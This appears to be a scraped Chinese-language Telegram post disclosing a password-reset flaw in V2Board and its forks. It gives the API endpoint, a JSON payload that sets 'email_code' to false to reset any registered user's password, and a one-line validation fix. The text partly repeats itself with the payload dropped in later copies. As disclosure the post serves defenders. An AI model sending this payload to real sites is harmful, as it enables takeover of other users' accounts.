复现方式：
API端点：
api/v1/passport/auth/forget
Payload：
{
"email":"任意一个已注册用户",
"password": "密码",
"email_code": false
}
即可重置对应账户密码
最小改动修复方式：
app/Http/Requests/Passport/AuthForget.php找到'email_code' => 'required'
改成'email_code' => 'required|string|digits:6'
Post #14600
8.52K
Forwarded from 🏭遙ラボ
V2Board及其所有分支漏洞，影响全部版本，该漏洞可修改一切已注册用户账号密码
复现方式：
API端点：
即可重置对应账户密码
最小改动修复方式：
找到'email_code' => 'required'
改成'email_code' => 'required|string|digits:6'
复现方式：
API端点：
即可重置对应账户密码
最小改动修复方式：
找到'email_code' => 'required'
改成'email_code' => 'required|string|digits:6'
- 👎 6
- ❤ 4